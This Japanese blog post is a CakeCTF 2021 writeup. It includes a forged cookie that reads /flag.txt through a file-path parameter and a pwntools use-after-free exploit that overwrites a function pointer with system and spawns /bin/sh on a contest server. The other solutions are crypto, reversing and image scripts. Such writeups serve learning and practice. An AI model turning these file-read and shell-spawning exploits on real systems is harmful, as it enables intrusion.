izumo’s diary

主に競プロの精進記録

CakeCTF 2021 writeup

8/28 - 8/29に行われたCakeCTF 2021に参加しました。

828点で157チーム中44位でした。
数か月前だと解けなかったような問題を解くことができ、個人的にはかなり良かったと思います。
f:id:izumo27:20210829202308p:plain
f:id:izumo27:20210829202248p:plain

目次

Welcome [welcome] (141 solves)

問題文
Get the flag in Discord

解法
discordの#announcementに書いてある。

CakeCTF{Let_them_eat_CakeCTF2021!}

MofuMofu diary [web][warmup] (80 solves)

問題文
Would you like to see some mofu-mofu pictures?
* The flag is located at /flag.txt

解法
問題のURLを開くと説明と猫の画像のリストが表示される。
また、/flag.txtは当然のことながら404。

与えられたphpファイルを見てみる。

まずはindex.php

<?php
require_once 'util.php';

session_start();
$results = get_cached_contents();
?>
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>MofuMofuDiary</title>
        <link rel="stylesheet" href="https://fonts.xz.style/serve/inter.css">
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@exampledev/new.css@1.1.2/new.min.css">
    </head>
    <body>
        <h1>MofuMofuDiary</h1>
        <p>Check out the fluffiest pictures I've taken!</p>
        <?php foreach($results as $result) { ?>
            <details>
                <summary><?= $result['description'] ?></summary>
                <img src="<?= $_SESSION[$result['name']] ?>" alt="image">
            </details>
        <?php } ?>
    </body>
</html>

phpは1行も書いたことがないので雰囲気しかわからないが、get_cached_contents()を一つずつ表示していそう。

次にutil.php

<?php
function img2b64($image) {
    return 'data:jpg;base64,'.base64_encode(file_get_contents($image));
}

function get_cached_contents() {
    $results = [];

    if (empty($_COOKIE['cache'])) {

        $images = glob('images/*.jpg');
        $expiry = time() + 60*60*24*7;

        foreach($images as $image) {
            $text = preg_replace('/\\.[^.\\s]{3,4}$/', '.txt', $image);
            $description = trim(file_get_contents($text));
            array_push($results, array(
                'name' => $image,
                'description' => $description
            ));
            $_SESSION[$image] = img2b64($image);
        }

        $cookie = array('data' => $results, 'expiry' => $expiry);
        setcookie('cache', json_encode($cookie), $expiry);

    } else {

        $cache = json_decode($_COOKIE['cache'], true);
        if ($cache['expiry'] <= time()) {

            $expiry = time() + 60*60*24*7;
            for($i = 0; $i < count($cache['data']); $i++) {
                $result = $cache['data'][$i];
                $_SESSION[$result['name']] = img2b64($result['name']);
            }

            $cookie = array('data' => $cache['data'], 'expiry' => $expiry);
            setcookie('cache', json_encode($cookie), $expiry);

        }

        return $cache['data'];

    }

    return $results;
}
?>

どうやらcookieのあるなしでcacheを使うかどうか決めているようだ。
cookieがあるとき、$result['name']のファイルをそのまま読み込んでいるので、これを使えばflag.txtを表示できそう。
cookieエンコード方法は知らなかったのでググった。

import urllib.parse

cache='{"data":[{"name":"\/flag.txt","description":"Half sleeping cat"},{"name":"images\/02.jpg","description":"When you gaze into the cat, the cat gazes into you"}],"expiry":163073}'

print(urllib.parse.quote(cache))
$ python solve.py
%7B%22data%22%3A%5B%7B%22name%22%3A%22%5C/flag.txt%22%2C%22description%22%3A%22Half%20sleeping%20cat%22%7D%2C%7B%22name%22%3A%22images%5C/02.jpg%22%2C%22description%22%3A%22When%20you%20gaze%20into%20the%20cat%2C%20the%20cat%20gazes%20into%20you%22%7D%5D%2C%22expiry%22%3A163073%7D

これをcookieのcacheにセットしてリロードすればいいはず。
/がエンコードされていないが試してみたらうまくいった(最初expiryを0にして1敗した)。
imageタグなので表示はされないが、ソースにはちゃんとある。

<img src="data:jpg;base64,Q2FrZUNURns0bjFtNGxzXzRyM19oMG4zc3RfdW5sMWszX2h1bTRuc182ZTA4MWF9Cg==" alt="image">

あとはbase64でデコードすればおk。

$ echo "Q2FrZUNURns0bjFtNGxzXzRyM19oMG4zc3RfdW5sMWszX2h1bTRuc182ZTA4MWF9Cg==" | base64 -d
CakeCTF{4n1m4ls_4r3_h0n3st_unl1k3_hum4ns_6e081a}

UAF4b [pwn][warmup] (75 solves)

問題文
You don't dare to try learning Use-after-Free?

解法
まずUse-after-Freeを知らないので調べる。
メモリを解放した後に実行する攻撃手法らしい。

ふーんと言いながら接続。

$ nc pwn.cakectf.com 9001
Today, let's learn how dangerous Use-after-Free is!
You're going to abuse the following structure:

  typedef struct {
    void (*fn_dialogue)(char*);
    char *message;
  } COWSAY;

An instance of this structure is allocated on the heap:

  COWSAY *cowsay = (COWSAY*)malloc(sizeof(COWSAY));

You can
 1. Call `fn_dialogue` with `message` as its argument:
  cowsay->fn_dialog(cowsay->message);

 2. Allocate and set `message` (This will never be freed):
  cowsay->mesage = malloc(17);
  scanf("%16s", cowsay->message);

 3. Delete cowsay only once:
  free(cowsay);

 4. See the heap around the cowsay instance

Last but not least, here is the address of `system` function:
  <system> = 0x7fb2c3579410

1. Use cowsay
2. Change message
3. Delete cowsay (only once!)
4. Describe heap
>

なるほど、cowsayをfreeした後でもmessageを変えたりcowsayを実行したりできそうだ。
systemアドレスが与えれているので、よくあるROP問題同様、system("bin/sh")を実行しろということだろうと考えた。
これはfn_dialogueのポインタの代わりにsystemアドレスを入れ、messageに"bin/sh"を入れればいいというのは分かったが、前半部分をどうやって実現するのかさっぱりわからなかった。

CTFs/are you root.md at master · Dvd848/CTFs · GitHubなどを見ていろいろ試行錯誤していくうちに、

  1. messageをSに変更
  2. cowsayを削除
  3. messageをSに変更

とするとfn_dialogueのポインタが入っていたところに、Sをリトルエンディアンでエンコードしたものが入るということに気づいた(原理はわからないので要復習)。
追記:手順の1は必要ないらしい(CakeCTF 2021 writeup - st98 の日記帳 - コピー


Sをsystemアドレス(をバイト列にしたもの)で実行すれば狙い通りシェルを奪うことができる。

from pwn import *

r = remote('pwn.cakectf.com', 9001)

r.recvuntil(" <system> = ")
addr=r.recvline().decode()
print(addr)

for i in range(5):
    r.recvline()

# systemアドレスを入力
r.recvuntil("> ")
r.sendline("2")
r.recvuntil("Message: ")
x=int(addr, 0)
x=x.to_bytes((x.bit_length() + 7) // 8, byteorder='little')  # リトルエンディアン
r.sendline(x)

# cowsayを削除
r.recvuntil("> ")
r.sendline("3")

# もう一度sytemアドレスを入力すると、fn_dialogueのポインタが入っていたところにsystemアドレスが入る
r.recvuntil("> ")
r.sendline("2")
r.recvuntil("Message: ")
r.sendline(x)

r.recvuntil("> ")
r.sendline("2")
r.recvuntil("Message: ")
r.sendline("/bin/sh")

r.interactive()

f:id:izumo27:20210829200622p:plain

discrete log [crypto][warmup] (55 solves)

問題文
People conclude discrete log is hard problem up to now.

解法
まず与えられたpythonコードを見てみる。

from Crypto.Util.number import getPrime, isPrime, getRandomRange

def getSafePrime(bits):
    while True:
        p = getPrime(bits - 1)
        q = 2*p + 1
        if isPrime(q):
            return q

with open("flag.txt", "rb") as f:
    flag = f.read().strip()

p = getSafePrime(512)
g = getRandomRange(2, p)
r = getRandomRange(2, p)

cs = []
for m in flag:
    cs.append(pow(g, r*m, p))

print(p)
print(g)
print(cs)

離散対数問題のにおいがする。
調べたところ今回のような安全素数q=2p+1)を用いる場合、解くのは難しいらしく絶望していた。
しかしよく見ると文字ごとに同じ鍵で暗号化しているので、適当に割ってあげればg^r \pmod pが求まるというギャグだった。

# よく見るとすべての文字で同じ鍵を使っているので適当な組み合わせで割ればg^rがわかる

p=10577926960839937947442162797370864980541285292536671603546595533193324977125572190720609448828374782284663027664894813711243894320697692129630847705557539
g=9947724104164898694903023872711663896409433873530762235716749042436185304062119886390357927264325412355223958396239523671881766361219889894069645084522127

C=1229288066188188446140572951590585838131579917371511162649288281094421402493758271918280416055465305258850798174813421022714679676287728499647253120374695  # 67
a=10432993487247272012480923097160918670223939440020584956672587338819387564406156095947231487677556954828864387429116143245429963057004783904414488840483883
k=8846898594122745402315346660588103073817097798204431437711034651813289442774837730820134043682352683522453026507938275715350738931942754620858572095894833
e=4045640615389787749853661262284447508612987648607573956251553736198615257540512882528800714431424850616135969142451005730805426191941965206855411616865846
T=1945428232655195080994800854254286050005395375198086738205807646894444509288423023719076721279967584478447554044287458681202684205941300518455664909896770  # 84
F=10354621433690291080863817499954203913680345790427806490217953854290390664868635054642758139322526900976315271173855068718334823237601765344488054950961045
bracket1=6450396411196778288237471377707156944771360666868782593043200729952706897922338702645020446957804453347793935766075212035314665465699530609262139446841794  # 123
bracket2=2319394889752437261970357119967349450311229179467143254112633795132104201041540419394974595546896804379819748025776699134680309317217660482163282654767536  # 125

gr=((T*pow(C, -1, p)%p)*pow(pow(bracket2*pow(bracket1, -1, p)%p, 8, p), -1, p))%p
print(gr)

flag=[1229288066188188446140572951590585838131579917371511162649288281094421402493758271918280416055465305258850798174813421022714679676287728499647253120374695, 10432993487247272012480923097160918670223939440020584956672587338819387564406156095947231487677556954828864387429116143245429963057004783904414488840483883, 8846898594122745402315346660588103073817097798204431437711034651813289442774837730820134043682352683522453026507938275715350738931942754620858572095894833, 4045640615389787749853661262284447508612987648607573956251553736198615257540512882528800714431424850616135969142451005730805426191941965206855411616865846, 1229288066188188446140572951590585838131579917371511162649288281094421402493758271918280416055465305258850798174813421022714679676287728499647253120374695, 1945428232655195080994800854254286050005395375198086738205807646894444509288423023719076721279967584478447554044287458681202684205941300518455664909896770, 10354621433690291080863817499954203913680345790427806490217953854290390664868635054642758139322526900976315271173855068718334823237601765344488054950961045, 6450396411196778288237471377707156944771360666868782593043200729952706897922338702645020446957804453347793935766075212035314665465699530609262139446841794, 6603165839364347784941569364866161781386478404222821544628017382892389369481107861540318475846446163066953093646715054906626664043485319179748812018187608, 10432993487247272012480923097160918670223939440020584956672587338819387564406156095947231487677556954828864387429116143245429963057004783904414488840483883, 4042600243432470792279319238797089674031093707099421074301129639348359908738591074209975141693531653698877970720299975180608931933840731135919239266129531, 9753045617655554075535397949256980647454831331391019636944817636801025863316405956657883053760816735577807443396030910262012333972455514593468821229847216, 10432993487247272012480923097160918670223939440020584956672587338819387564406156095947231487677556954828864387429116143245429963057004783904414488840483883, 5705490906960110528538635141558499052089268217498141288524505028321355953649986725466752682611329558447209023808467500672466053160864942319360366767522428, 10446004960956011058336954345576506542925522395495166475000278575199457691832910056903330578472321806954810895742286832849843203812788582215022283968968442, 2785996600898026596024204925975309018606205305214377134460494244584059497511759664894757187838328097195872398784106625161459942753354545213358279449633332, 5705490906960110528538635141558499052089268217498141288524505028321355953649986725466752682611329558447209023808467500672466053160864942319360366767522428, 8518396356987073160446226593505514680842064427706567536033369420610810908882528653260766790896766994789384117506763080763933744536854279875382388996716393, 4045640615389787749853661262284447508612987648607573956251553736198615257540512882528800714431424850616135969142451005730805426191941965206855411616865846, 10446004960956011058336954345576506542925522395495166475000278575199457691832910056903330578472321806954810895742286832849843203812788582215022283968968442, 4042600243432470792279319238797089674031093707099421074301129639348359908738591074209975141693531653698877970720299975180608931933840731135919239266129531, 4045640615389787749853661262284447508612987648607573956251553736198615257540512882528800714431424850616135969142451005730805426191941965206855411616865846, 5940089364090396255891114323486822488149883598124290813680817411219364338155445538437115753453598481449101247255466882855753225125970871768839102953427252, 1451759830404925477558275270642407378934999719484439203872342683020817625642737205582986542429047217317435872276960585914530151288082605818539662897325059, 4042600243432470792279319238797089674031093707099421074301129639348359908738591074209975141693531653698877970720299975180608931933840731135919239266129531, 10432993487247272012480923097160918670223939440020584956672587338819387564406156095947231487677556954828864387429116143245429963057004783904414488840483883, 3844728289551481985429176289449289604000304789858654366566902189290267618563940933188833996034764887276042750051165636121466021492112395693389564386737849, 5940089364090396255891114323486822488149883598124290813680817411219364338155445538437115753453598481449101247255466882855753225125970871768839102953427252, 10446004960956011058336954345576506542925522395495166475000278575199457691832910056903330578472321806954810895742286832849843203812788582215022283968968442, 10446004960956011058336954345576506542925522395495166475000278575199457691832910056903330578472321806954810895742286832849843203812788582215022283968968442, 6603165839364347784941569364866161781386478404222821544628017382892389369481107861540318475846446163066953093646715054906626664043485319179748812018187608, 5940089364090396255891114323486822488149883598124290813680817411219364338155445538437115753453598481449101247255466882855753225125970871768839102953427252, 2785996600898026596024204925975309018606205305214377134460494244584059497511759664894757187838328097195872398784106625161459942753354545213358279449633332, 9753045617655554075535397949256980647454831331391019636944817636801025863316405956657883053760816735577807443396030910262012333972455514593468821229847216, 2785996600898026596024204925975309018606205305214377134460494244584059497511759664894757187838328097195872398784106625161459942753354545213358279449633332, 10432993487247272012480923097160918670223939440020584956672587338819387564406156095947231487677556954828864387429116143245429963057004783904414488840483883, 6075040072394386353700068186624559720007996691077752316710222658102597630426876503425968551345482454171942016710393973778088713964073715708282771166108340, 5940089364090396255891114323486822488149883598124290813680817411219364338155445538437115753453598481449101247255466882855753225125970871768839102953427252, 4045640615389787749853661262284447508612987648607573956251553736198615257540512882528800714431424850616135969142451005730805426191941965206855411616865846, 10446004960956011058336954345576506542925522395495166475000278575199457691832910056903330578472321806954810895742286832849843203812788582215022283968968442, 2319394889752437261970357119967349450311229179467143254112633795132104201041540419394974595546896804379819748025776699134680309317217660482163282654767536]

m=""
for c in flag:
    for i in range(32, 127):
        if pow(gr, i, p)==c:
            m+=chr(i)
            break

print(m)
$ python solve.py
2133780179856528941686197549905200961098779744004176861462378634318182323370247132358378418421469834302066420983881981864060865175513753349215495166461537
CakeCTF{ba37a0f409ef3ec23a6cffbc474a1cef}

個人的には一番簡単な問題だった。

nostrings [reversing][warmup] (62 solves)

問題文
CTF / rev / warmup --> strings

解法
問題名がnostringsだが、一応実行ファイルにstringsコマンドを使ってみる。

$ strings chall
<>

FakeCTF{actually_this_is_not_the_flag_please_don_t_submit}
CokeCTF{the_coke_is_so_tasty_but_not_compatible_with_cake}
DoggoCTF{the_doggo_is_so_cute_i_know_and_you_may_know_too}
CateCTF{do_you_know_the_name_of_the_cat_who_eating_a_cake}
BlablaBla...Wowow....Wawooooooooo...Nyarrrrrrrrn....Cooook
FlagCTF{so_as_a_lot_of_flags_here_one_of_them_is_a_flag??}
CTFCTF{who_were_defined_the_standard_format_of_the_flag??}
MiscCTF{in_fact_im_so_tired_to_make_a_lot_of_fake_flags_an
nd_there_number_of_uncreated_flag_is_waiting_for_me_:sob:}
CakeCTF}this_is_not_a_flag_because_dont_follow_the_format{
The_quick_brown_fox_jumps_over_the_lazy_dog_while_the_cat_
eating_a_so_tasty_cake_btw_why_this_is_the_cakectf_qurious
stylus_cartooned_unregenerate_divisions_respites_broomstic
ruckuses_evinced_anyhow_mosques_terraces_estrogens_tomorro
Cheever{s_Javanese_washbowl_booklets_surfaces_allusions_os
infid315_0v3rch4rg35_h34p_nigg45_guid3b00k5_b3570wing_p4vi
in3xp3n5iv31y_imp3cc4b1y0v3r_f13ck_knigh7_cynici5m5_0ffby}
Su54nn3{R3ich_bubb1y_bip4r7_0f_g041_5ick_G3n3r41_juni0r5_x
Hemingway_recording_Eisenhower_stingray_scammers_abacuses}
5p0n50r5_734_347_c1053_c41m_m30w_innu_quick_70find_c4k3_in
n0ug37_10p35_kick574nd_35quir3_4t_74ugh7y_b14ckh411_gin5_c
r34d_undying_45p3rg3s_inv41id_p3rm347_p5yc03cc_in7r4p3r50n
ceilings_area_prepares_exterminations_sidebar_Zubeneschama
d00r{b04t_4nd_c7o_c0mmu73_fri3nd5hip_mur415_b05ch_h3uri57i
Beneluxs_Krasnoyarsk_jamming_preventative_batters_hangdog}
hums_Xhosa_unutterable_corset_splinted_vacationer_suspicio
3mbr0i15_4v3r4g3d_pr35ump7i0n5_Sc0775d413_v4n4dium5_d35014
finalize_protrusions_talkative_ingested_pithily_hydrae_Pet
Cooper{Vincent_telecommute_quorum_personalitys_tails_troll
inexplicable_tags_mobilization_christenings_wive_tangs_cop
0v3r4chi3v3r5_J4ni5_r3c3p7iv3n355_F4i5414b4d_1ik3n3555_5hu
needinesss_hemmed_stargazer_simplex_transmigrate_Naismith}
Ednas_Livingstons_terminals_subsystem_upshot_Fibonaccis_el
burri705_p33v35_5p0n74n30u51y_0rch357r4_V41h41145_Guin3v3r
baxters_diaphragms_Exodus_bunted_owes_tomcats_sagas_dickie
Ceo_Card_overbalances_cursorily_clanking_celebrated_rummag
forsaking_slits_delphiniums_ooze_fricasseed_enfolded_yearb
lubricators_Amigas_maws_middleweights_scaffold_radically_j
souls_Force_Roku_inheritances_acolyte_onionskins_submersed
enlivens_crotch_brocades_collides_telescopes_blooded_papoo
5wif71y_bi0ch3mi57_C075w01d_N0xz3m4_c0c00n3d_570dgin3555_f
Nicolas_arduously_send_tightropes_lighted_feathers_ancient
Varanasi_Navahoes_supervisions_heel_cynosure_warily_whoope
Cages{Bamako_dimness_dreamland_cambering_maelstroms_Ladoga
promos_excerpt_siblings_academician_intestines_moos_exalta
Ci{sepulchers_willfully_smokiness_deputy_cuisine_peppering
fibbed{unequally_synthetics_mock_Ahmads_leashed_solicitati
lines_recopying_directing_trusted_gangs_Alexs_casual_sleaz
und3rn347h5_D31phinu5_pr05p3c75_c4rj4ck3r5_g3n0m3_m0i573n5
new_Danishs_Olivia_calfskins_hones_thigh_stickups_bargaine
pr0f355i0n5_1imp375_pr3cipi74735_B4c0n5_c0nc473n473d_p0r74
accidentally_air_Afrikaanss_equivalent_tarpons_storeroom_C
game_Toneli_suspected_Eloys_reimposed_limited_treks_Blair}
poshest{touchstone_Marchs_wealthy_frappe_noised_runabout_l
Mirfak_wagons_Christianitys_tenser_reconquer_Akbars_Stendh
griddlecakes_cigaret_Apia_rennets_Hephaestuss_chrysalides}
score{Pythias_epee_renovated_alkalies_protozoa_physiothe_s
73n50r5_L03w5_4r3n7_5id31igh7_5h4110w5_3mb4rr455m3n75_0unc
Saki{despicable_fleets_kleptomanias_platooning_tearjerkers
demitasses_covers_stile_variate_proprietorships_namesakes}
pleasant_Toscas_gulag_P_jiggle_basements_Aries_minicams_in
scientific_MacBride_kneeled_vascular_Eugenia_fishwifes_fla
Opel{comparability_potters_perfecter_gurgle_geeks_lighting
fascinating_toot_sitty_en_guel_n_kill_em_ll_t_chop_suitabl
minute{shrouding_flambeing_Dotsons_kettledrums_mastoid_Rot
cares{fluttering_segments_trumpeters_mumble_vengeful_subco
uncompromisable_gut_Kewpies_escaroles_watercresss_unsparin
dizzies{inelegant_pocket_appeasements_Langs_pawnsh_gibbet}
frizzles_Garlant_yarbook_cardinal_carats_palpable_jaws_mul
haxe_tarnishs_Putnam_fusss_bull_forum_intrinsically_dishon
browbeating_layers_ciabattas_thief_Murasaki_unfruitful_kek
boycotted_optimisms_nematode_coolweight_over_assign_cell_s
dumble{yahoo_limited_offish_beautified_distort_nipped_tran
prospectuses_Puseys_Loafer_i_dozes_hominoid_Belgrades_endc
ciders_Robbinss_pantheism_rational_feasibilitys_Guthrie_st
lakefront_Closures_mounds_taillights_insouciant_foregoes_s
wafers{preordained_manic_breading_vibrato_advisers_registe
sidekicks_oink_dispersing_unrehear_Derby_pain_sadnesss_ent
b4rb3r5h0p_5mi7hy_4pr0p05_imm0r7415_wh0_m0n3y_r0y417y_c4rp
bans{candle_but_Tulsidass_Charlenes_estimable_peps_calluse
analyzers_gybing_pool_binnacle_Rambo_yeshivas_Anitas_tooth
Kenya_overreact_panelist_Caras_conifers_agilitys_isolated}
Dow_noughts_Mammons_discounting_fonts_pinioning_electricit
exalting{trademarked_complete_blueprint_Leonard_modified_o
venally_todd_Irelands_amazon_endless_median_Horn_lanker_so
v3rb5_WiFi_4b04rd_ch4mmy_510p5_5id357r0k35_g0rg35_ici3r_7r
foresails_Damien_waits_Inuktituts_luridnesss_logarithms_su
retrorockets_Amerindians_refuting_Comos_butternuts_instant
Alice_Cranes_enthusiast_irresponsible_ruffled_bonds_commen
energies_received_rainfalls_meet_rakes_grounders_unhooks_b
banisters_Roy_Yaccs_Merediths_burs_backwaters_hum_Wilberts
Zipcode{applicability_petticoat_Biscayne_transliterates_pu
matchless_hydrants_Scheherazade_phlegms_actings_encores_de
d3b3n7ur35_Burn5_M31vi113_hir3d_und3r5id35_inv3r531y_gund}
LastCTF{the_flag_has_stopped_here_secret_must_in_there...}

<>

何やら意味深な文字列が現れる。
CakeCTF\{[\x20-\x7e]+\}に相当するものがないため、Ghidraでデコンパイルした。

undefined8 FUN_001011a9(void)

{
  undefined8 uVar1;
  long in_FS_OFFSET;
  int is_same;
  int count;
  char input [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("flag: ");
  __isoc99_scanf(&DAT_0010200b,input);
  is_same = 1;
  count = 0;
  do {
    if (0x39 < count) {
      if (is_same == 0) {
        puts("-_- < flag in the string...");
      }
      else {
        puts(".O. < i+! +o6 noh");
        puts(">v< this is the flag");
      }
      uVar1 = 0;
LAB_001012ae:
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return uVar1;
    }
    if (input[count] == '\x7f') {
      puts("^o^");
      uVar1 = 1;
      goto LAB_001012ae;
    }
    is_same = (uint)((uint)(byte)s__00104020[(long)(int)input[count] * 0x7f + (long)count] ==
                    (int)input[count]) * is_same;
    count = count + 1;
  } while( true );
}

最後の方で文字列の比較をしている部分が重要。
入力のcount番目と比較しているs__00104020の添え字は、
入力のcount番目に0x7fをかけてcountを足したもの
である。

例えば1文字目はCのはずなので、
s__00104020[0x43\times0x7f]と0x43
を比較することになる(おそらく一致する)。
0x7fおきに文字列があったので、先ほどstringsコマンドで得られたものを用いてflagが得られる。

x=[
"FakeCTF{actually_this_is_not_the_flag_please_don_t_submit}",
"CokeCTF{the_coke_is_so_tasty_but_not_compatible_with_cake}",
"DoggoCTF{the_doggo_is_so_cute_i_know_and_you_may_know_too}",
"CateCTF{do_you_know_the_name_of_the_cat_who_eating_a_cake}",
"BlablaBla...Wowow....Wawooooooooo...Nyarrrrrrrrn....Cooook",
"FlagCTF{so_as_a_lot_of_flags_here_one_of_them_is_a_flag??}",
"CTFCTF{who_were_defined_the_standard_format_of_the_flag??}",
"MiscCTF{in_fact_im_so_tired_to_make_a_lot_of_fake_flags_an",
"nd_there_number_of_uncreated_flag_is_waiting_for_me_:sob:}",
"CakeCTF}this_is_not_a_flag_because_dont_follow_the_format{",
"The_quick_brown_fox_jumps_over_the_lazy_dog_while_the_cat_",
"eating_a_so_tasty_cake_btw_why_this_is_the_cakectf_qurious",
"stylus_cartooned_unregenerate_divisions_respites_broomstic",
"ruckuses_evinced_anyhow_mosques_terraces_estrogens_tomorro",
"Cheever{s_Javanese_washbowl_booklets_surfaces_allusions_os",
"infid315_0v3rch4rg35_h34p_nigg45_guid3b00k5_b3570wing_p4vi",
"in3xp3n5iv31y_imp3cc4b1y0v3r_f13ck_knigh7_cynici5m5_0ffby}",
"Su54nn3{R3ich_bubb1y_bip4r7_0f_g041_5ick_G3n3r41_juni0r5_x",
"Hemingway_recording_Eisenhower_stingray_scammers_abacuses}",
"5p0n50r5_734_347_c1053_c41m_m30w_innu_quick_70find_c4k3_in",
"n0ug37_10p35_kick574nd_35quir3_4t_74ugh7y_b14ckh411_gin5_c",
"r34d_undying_45p3rg3s_inv41id_p3rm347_p5yc03cc_in7r4p3r50n",
"ceilings_area_prepares_exterminations_sidebar_Zubeneschama",
"d00r{b04t_4nd_c7o_c0mmu73_fri3nd5hip_mur415_b05ch_h3uri57i",
"Beneluxs_Krasnoyarsk_jamming_preventative_batters_hangdog}",
"hums_Xhosa_unutterable_corset_splinted_vacationer_suspicio",
"3mbr0i15_4v3r4g3d_pr35ump7i0n5_Sc0775d413_v4n4dium5_d35014",
"finalize_protrusions_talkative_ingested_pithily_hydrae_Pet",
"Cooper{Vincent_telecommute_quorum_personalitys_tails_troll",
"inexplicable_tags_mobilization_christenings_wive_tangs_cop",
"0v3r4chi3v3r5_J4ni5_r3c3p7iv3n355_F4i5414b4d_1ik3n3555_5hu",
"needinesss_hemmed_stargazer_simplex_transmigrate_Naismith}",
"Ednas_Livingstons_terminals_subsystem_upshot_Fibonaccis_el",
"burri705_p33v35_5p0n74n30u51y_0rch357r4_V41h41145_Guin3v3r",
"baxters_diaphragms_Exodus_bunted_owes_tomcats_sagas_dickie",
"Ceo_Card_overbalances_cursorily_clanking_celebrated_rummag",
"forsaking_slits_delphiniums_ooze_fricasseed_enfolded_yearb",
"lubricators_Amigas_maws_middleweights_scaffold_radically_j",
"souls_Force_Roku_inheritances_acolyte_onionskins_submersed",
"enlivens_crotch_brocades_collides_telescopes_blooded_papoo",
"5wif71y_bi0ch3mi57_C075w01d_N0xz3m4_c0c00n3d_570dgin3555_f",
"Nicolas_arduously_send_tightropes_lighted_feathers_ancient",
"Varanasi_Navahoes_supervisions_heel_cynosure_warily_whoope",
"Cages{Bamako_dimness_dreamland_cambering_maelstroms_Ladoga",
"promos_excerpt_siblings_academician_intestines_moos_exalta",
"Ci{sepulchers_willfully_smokiness_deputy_cuisine_peppering",
"fibbed{unequally_synthetics_mock_Ahmads_leashed_solicitati",
"lines_recopying_directing_trusted_gangs_Alexs_casual_sleaz",
"und3rn347h5_D31phinu5_pr05p3c75_c4rj4ck3r5_g3n0m3_m0i573n5",
"new_Danishs_Olivia_calfskins_hones_thigh_stickups_bargaine",
"pr0f355i0n5_1imp375_pr3cipi74735_B4c0n5_c0nc473n473d_p0r74",
"accidentally_air_Afrikaanss_equivalent_tarpons_storeroom_C",
"game_Toneli_suspected_Eloys_reimposed_limited_treks_Blair}",
"poshest{touchstone_Marchs_wealthy_frappe_noised_runabout_l",
"Mirfak_wagons_Christianitys_tenser_reconquer_Akbars_Stendh",
"griddlecakes_cigaret_Apia_rennets_Hephaestuss_chrysalides}",
"score{Pythias_epee_renovated_alkalies_protozoa_physiothe_s",
"73n50r5_L03w5_4r3n7_5id31igh7_5h4110w5_3mb4rr455m3n75_0unc",
"Saki{despicable_fleets_kleptomanias_platooning_tearjerkers",
"demitasses_covers_stile_variate_proprietorships_namesakes}",
"pleasant_Toscas_gulag_P_jiggle_basements_Aries_minicams_in",
"scientific_MacBride_kneeled_vascular_Eugenia_fishwifes_fla",
"Opel{comparability_potters_perfecter_gurgle_geeks_lighting",
"fascinating_toot_sitty_en_guel_n_kill_em_ll_t_chop_suitabl",
"minute{shrouding_flambeing_Dotsons_kettledrums_mastoid_Rot",
"cares{fluttering_segments_trumpeters_mumble_vengeful_subco",
"uncompromisable_gut_Kewpies_escaroles_watercresss_unsparin",
"dizzies{inelegant_pocket_appeasements_Langs_pawnsh_gibbet}",
"frizzles_Garlant_yarbook_cardinal_carats_palpable_jaws_mul",
"haxe_tarnishs_Putnam_fusss_bull_forum_intrinsically_dishon",
"browbeating_layers_ciabattas_thief_Murasaki_unfruitful_kek",
"boycotted_optimisms_nematode_coolweight_over_assign_cell_s",
"dumble{yahoo_limited_offish_beautified_distort_nipped_tran",
"prospectuses_Puseys_Loafer_i_dozes_hominoid_Belgrades_endc",
"ciders_Robbinss_pantheism_rational_feasibilitys_Guthrie_st",
"lakefront_Closures_mounds_taillights_insouciant_foregoes_s",
"wafers{preordained_manic_breading_vibrato_advisers_registe",
"sidekicks_oink_dispersing_unrehear_Derby_pain_sadnesss_ent",
"b4rb3r5h0p_5mi7hy_4pr0p05_imm0r7415_wh0_m0n3y_r0y417y_c4rp",
"bans{candle_but_Tulsidass_Charlenes_estimable_peps_calluse",
"analyzers_gybing_pool_binnacle_Rambo_yeshivas_Anitas_tooth",
"Kenya_overreact_panelist_Caras_conifers_agilitys_isolated}",
"Dow_noughts_Mammons_discounting_fonts_pinioning_electricit",
"exalting{trademarked_complete_blueprint_Leonard_modified_o",
"venally_todd_Irelands_amazon_endless_median_Horn_lanker_so",
"v3rb5_WiFi_4b04rd_ch4mmy_510p5_5id357r0k35_g0rg35_ici3r_7r",
"foresails_Damien_waits_Inuktituts_luridnesss_logarithms_su",
"retrorockets_Amerindians_refuting_Comos_butternuts_instant",
"Alice_Cranes_enthusiast_irresponsible_ruffled_bonds_commen",
"energies_received_rainfalls_meet_rakes_grounders_unhooks_b",
"banisters_Roy_Yaccs_Merediths_burs_backwaters_hum_Wilberts",
"Zipcode{applicability_petticoat_Biscayne_transliterates_pu",
"matchless_hydrants_Scheherazade_phlegms_actings_encores_de",
"d3b3n7ur35_Burn5_M31vi113_hir3d_und3r5id35_inv3r531y_gund}",
"LastCTF{the_flag_has_stopped_here_secret_must_in_there...}"
]


flag=""
for i in range(58):
    for j, xx in enumerate(x):
        if chr(j+32)==xx[i]:
            flag+=xx[i]
            break

print(flag)
$ python solve.py
CakeCTF{th3_b357_p14c3_70_hid3_4_f14g_i5_in_4_f14g_f0r357}

Break a leg [misc][warmup] (44 solves)

問題文
ganbatte!

解法
妙な画像と次のpythonコードが与えられた。

from PIL import Image
from random import getrandbits

with open("flag.txt", "rb") as f:
    flag = int.from_bytes(f.read().strip(), "big")

bitlen = flag.bit_length()
data = [getrandbits(8)|((flag >> (i % bitlen)) & 1) for i in range(256 * 256 * 3)]

img = Image.new("RGB", (256, 256))

img.putdata([tuple(data[i:i+3]) for i in range(0, len(data), 3)])
img.save("chall.png")

flagと乱数のbitごとのorを画像にしたようだ。
一見復元できないようだが、flagが0のときはいつか0が現れるということを利用すれば簡単。
flagのbit長を全探索すればいい。

from PIL import Image
import numpy as np
from Crypto.Util.number import long_to_bytes

img=Image.open("break_a_leg/chall.png")

colors=np.zeros(256*256*3, dtype=bool)

for j in range(256):
    for i in range(256):
        tmp=img.getpixel((i, j))
        colors[j*256*3 + i*3 + 0]=bool(tmp[0]&1)
        colors[j*256*3 + i*3 + 1]=bool(tmp[1]&1)
        colors[j*256*3 + i*3 + 2]=bool(tmp[2]&1)

for i in range(1, 16*50+1):
    flag=0
    mask=1
    for j in range(i):
        if np.all(colors[j::i]):
            flag+=mask
        mask<<=1
    try:
        if flag != 0:
            print(long_to_bytes(flag).decode())
    except UnicodeDecodeError:
        pass
$ python solve.py
CakeCTF{1_w1sh_y0u_can_h1t_the_gr0und_runn1ng_fr0m_here;)-d7bcfa74ad4bc}